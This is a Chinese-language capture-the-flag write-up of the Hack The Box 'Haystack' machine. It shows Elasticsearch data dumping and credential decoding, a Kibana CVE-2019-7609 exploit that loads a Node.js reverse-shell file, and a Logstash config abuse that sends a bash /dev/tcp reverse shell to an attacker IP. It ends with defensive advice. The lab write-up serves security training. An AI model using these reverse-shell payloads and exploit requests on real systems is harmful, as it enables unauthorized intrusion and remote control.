Hack the box靶机实战:Haystack
字数 1283 2025-08-18 11:39:08

Haystack靶机渗透实战教学文档

1. 靶机概述

  • 目标IP: 10.10.10.115 (Linux系统)
  • 难度评级: 简单(实际中等)
  • 主要技术点:
    • Elasticsearch数据挖掘
    • 西班牙语文本分析
    • Kibana漏洞利用(CVE-2018-17246/CVE-2019-7609)
    • Logstash配置提权

2. 信息收集

2.1 端口扫描

使用nmap进行扫描:

nmap -sT -p- --min-rate 1500 -oN ports 10.10.10.115
nmap -sC -sV -p22,80,9200 -oN services 10.10.10.115

扫描结果:

  • 22/tcp: OpenSSH 7.4
  • 80/tcp: nginx 1.12.2 (仅显示一张needle图片)
  • 9200/tcp: nginx 1.12.2 (Elasticsearch服务)

2.2 Web服务枚举

  • 80端口: 仅有一张针(needle)图片,无有用信息
  • 使用gobuster爆破路径无果
  • 9200端口运行Elasticsearch服务

3. Elasticsearch数据挖掘

3.1 索引分析

发现两个索引:

  1. bank: 银行用户信息,无有用数据
  2. quotes: 包含西班牙语句子

3.2 数据导出

使用elasticdump导出数据:

elasticdump --input=http://10.10.10.115:9200/quotes --output=quotes.json --type=data

3.3 数据处理脚本

import json

result = {}
txt = ""

with open("quotes.json") as f:
    data = f.readlines()
    for ele in data:
        obj = json.loads(ele)
        id = int(obj["_id"])
        result[id] = obj["_source"]["quote"]

for i in sorted(result.keys()):
    print(i)
    txt = txt + result[i] + "\n\n"

with open("result.md", "w") as f1:
    f1.write(txt)

3.4 关键信息提取

在西班牙语文本中发现:

Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg
Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=

翻译:

  • "我已经保存了这台机器的密码: dXNlcjogc2VjdXJpdHkg"
  • "密钥不能丢,我保存在了这里: cGFzczogc3BhbmlzaC5pcy5rZXk="

Base64解码:

echo "dXNlcjogc2VjdXJpdHkg" | base64 -d
# 输出: user: security

echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
# 输出: pass: spanish.is.key

4. 初始访问

使用获取的凭据SSH登录:

ssh security@10.10.10.115
# 密码: spanish.is.key

5. 权限提升

5.1 Kibana服务利用

  1. Kibana仅在本地运行(5601端口)
  2. 设置SSH端口转发:
ssh -L 5601:localhost:5601 security@10.10.10.115
  1. 利用Kibana RCE漏洞(CVE-2019-7609):
  • 创建恶意server.js文件:
// server.js
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "10.10.16.61", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
  • 通过Burp发送请求:
GET /api/console/api_server?sense_version=@@SENSE_VERSION&apis=tmp/server.js HTTP/1.1
Host: localhost:5601
...
kbn-version: 6.4.2
  • 在攻击机监听:
nc -lvnp 1234

5.2 Logstash配置提权

  1. 发现kibana用户对logstash配置有写权限:
ls -lah /etc/logstash/conf.d/
# 输出显示kibana组有写权限
  1. Logstash配置文件分析:
  • input.conf: 从/opt/kibana/logstash_*读取文件
  • filter.conf: 使用grok解析"Ejecutar comando: <命令>"
  • output.conf: 执行解析出的命令
  1. Grok表达式:
Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}
  1. 创建恶意文件:
echo "Ejecutar comando: bash -i >& /dev/tcp/10.10.16.61/1234 0>&1" > /opt/kibana/logstash_1.txt
  1. 监听反弹shell:
nc -lvnp 1234

6. 总结

6.1 攻击路径

  1. 信息收集 → 发现Elasticsearch服务
  2. 导出并分析数据 → 发现base64编码凭据
  3. SSH初始访问 → 发现本地Kibana服务
  4. Kibana RCE → 获取kibana用户权限
  5. Logstash配置滥用 → 获取root权限

6.2 关键点

  • Elasticsearch数据导出和分析技巧
  • 非英语环境下的信息提取能力
  • Kibana服务本地端口转发技术
  • Kibana RCE漏洞利用
  • Logstash配置滥用提权方法

6.3 防御建议

  • Elasticsearch应设置访问控制
  • 敏感信息不应以明文或简单编码存储
  • Kibana服务应及时更新补丁
  • Logstash配置目录权限应严格控制
  • 最小权限原则应用于所有服务账户
Haystack靶机渗透实战教学文档 1. 靶机概述 目标IP: 10.10.10.115 (Linux系统) 难度评级: 简单(实际中等) 主要技术点: Elasticsearch数据挖掘 西班牙语文本分析 Kibana漏洞利用(CVE-2018-17246/CVE-2019-7609) Logstash配置提权 2. 信息收集 2.1 端口扫描 使用nmap进行扫描: 扫描结果: 22/tcp: OpenSSH 7.4 80/tcp: nginx 1.12.2 (仅显示一张needle图片) 9200/tcp: nginx 1.12.2 (Elasticsearch服务) 2.2 Web服务枚举 80端口: 仅有一张针(needle)图片,无有用信息 使用gobuster爆破路径无果 9200端口运行Elasticsearch服务 3. Elasticsearch数据挖掘 3.1 索引分析 发现两个索引: bank : 银行用户信息,无有用数据 quotes : 包含西班牙语句子 3.2 数据导出 使用 elasticdump 导出数据: 3.3 数据处理脚本 3.4 关键信息提取 在西班牙语文本中发现: 翻译: "我已经保存了这台机器的密码: dXNlcjogc2VjdXJpdHkg" "密钥不能丢,我保存在了这里: cGFzczogc3BhbmlzaC5pcy5rZXk=" Base64解码: 4. 初始访问 使用获取的凭据SSH登录: 5. 权限提升 5.1 Kibana服务利用 Kibana仅在本地运行(5601端口) 设置SSH端口转发: 利用Kibana RCE漏洞(CVE-2019-7609): 创建恶意server.js文件: 通过Burp发送请求: 在攻击机监听: 5.2 Logstash配置提权 发现kibana用户对logstash配置有写权限: Logstash配置文件分析: input.conf: 从/opt/kibana/logstash_* 读取文件 filter.conf: 使用grok解析"Ejecutar comando: <命令>" output.conf: 执行解析出的命令 Grok表达式: 创建恶意文件: 监听反弹shell: 6. 总结 6.1 攻击路径 信息收集 → 发现Elasticsearch服务 导出并分析数据 → 发现base64编码凭据 SSH初始访问 → 发现本地Kibana服务 Kibana RCE → 获取kibana用户权限 Logstash配置滥用 → 获取root权限 6.2 关键点 Elasticsearch数据导出和分析技巧 非英语环境下的信息提取能力 Kibana服务本地端口转发技术 Kibana RCE漏洞利用 Logstash配置滥用提权方法 6.3 防御建议 Elasticsearch应设置访问控制 敏感信息不应以明文或简单编码存储 Kibana服务应及时更新补丁 Logstash配置目录权限应严格控制 最小权限原则应用于所有服务账户